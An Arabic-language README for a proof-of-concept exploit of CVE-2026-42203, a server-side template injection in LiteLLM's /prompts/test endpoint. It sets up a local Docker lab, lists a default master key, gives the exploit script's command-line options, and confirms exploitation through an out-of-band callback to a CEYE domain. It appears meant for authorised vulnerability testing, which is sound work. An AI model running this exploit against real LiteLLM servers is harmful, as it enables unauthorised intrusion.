
استغلال إثبات المفهوم لـ CVE-2026-42203، وهي ثغرة في حقن القوالب من جانب الخادم في نقطة نهاية `/prompts/test` الخاصة بـ LiteLLM، مع إعداد مختبر Docker محلي والتحقق من رد الاتصال CEYE.
يشرح هذا المستند كيفية تشغيل بيئة LiteLLM المحلية وتنفيذ CVE-2026-42203.py للتحقق من ثغرة SSTI في /prompts/test.
استخدم فقط في بيئة تجريبية محلية مرخصة. لا توجه البرنامج النصي نحو أهداف عامة غير مصرح بها.
ادخل إلى مجلد Lab، وشغل LiteLLM وPostgres وPrometheus:
docker compose up -d
تحقق من حالة الحاويات:
docker compose ps
تأكد من أن الخدمة قابلة للوصول:
curl http://127.0.0.1:4000/
Master_Key الافتراضي هو: sk-master-test-key-1234
يتم تمريرها عبر معلمات سطر الأوامر:
python3 cve_2026_42203_litellm_prompts_test_ssti.py \
--auth 'sk-local-test-key' \
--ceye-domain 'your-id.ceye.io' \
--ceye-token 'your-ceye-api-token'
معنى المتغيرات:
LITELLM_API_KEY: مفتاح الوصول لـ LiteLLM، في بيئة Docker المحلية عادة ما يتوافق مع LITELLM_MASTER_KEY في ملف .env.CEYE_DOMAIN: اسم النطاق الفرعي لـ CEYE، مثل xxxxxx.ceye.io.CEYE_TOKEN: رمز API لـ CEYE، يُستخدم للاستعلام عن سجلات الاتصال الراجع.مثال كامل:
python3 cve_2026_42203_litellm_prompts_test_ssti.py \
--target http://127.0.0.1:4000 \
--auth 'sk-local-test-key' \
--ceye-domain 'your-id.ceye.io' \
--ceye-token 'your-ceye-api-token'
المعلمات الأساسية:
--target: عنوان خدمة LiteLLM، الافتراضي هو http://127.0.0.1:4000.--auth / --api-key: مفتاح LiteLLM المستخدم لاستدعاء /prompts/test.--ceye-domain: اسم نطاق الاتصال الراجع لـ CEYE.--ceye-token: رمز API لـ CEYE. عند إخراج البرنامج النصي، يتم إخفاؤه تلقائيًا.--wait: عدد الثواني لانتظار اتصال CEYE الراجع، الافتراضي 20.--interval: الفاصل الزمني بالثواني للاستعلام عن سجلات CEYE، الافتراضي 3.--timeout: مهلة طلب HTTP، الافتراضية 10 ثوانٍ.--insecure: إذا كان الهدف يستخدم شهادة HTTPS ذاتية التوقيع، يمكن إضافة هذه المعلمة لتعطيل التحقق من شهادة TLS.إذا تلقى CEYE اتصالاً راجعًا، سيخرج البرنامج النصي:
[VULNERABLE] CEYE received the callback request.
إذا لم يتم تلقي اتصال راجع خلال فترة الانتظار، سيخرج البرنامج النصي:
[NOT_VULNERABLE] CEYE did not receive the callback request within the wait window.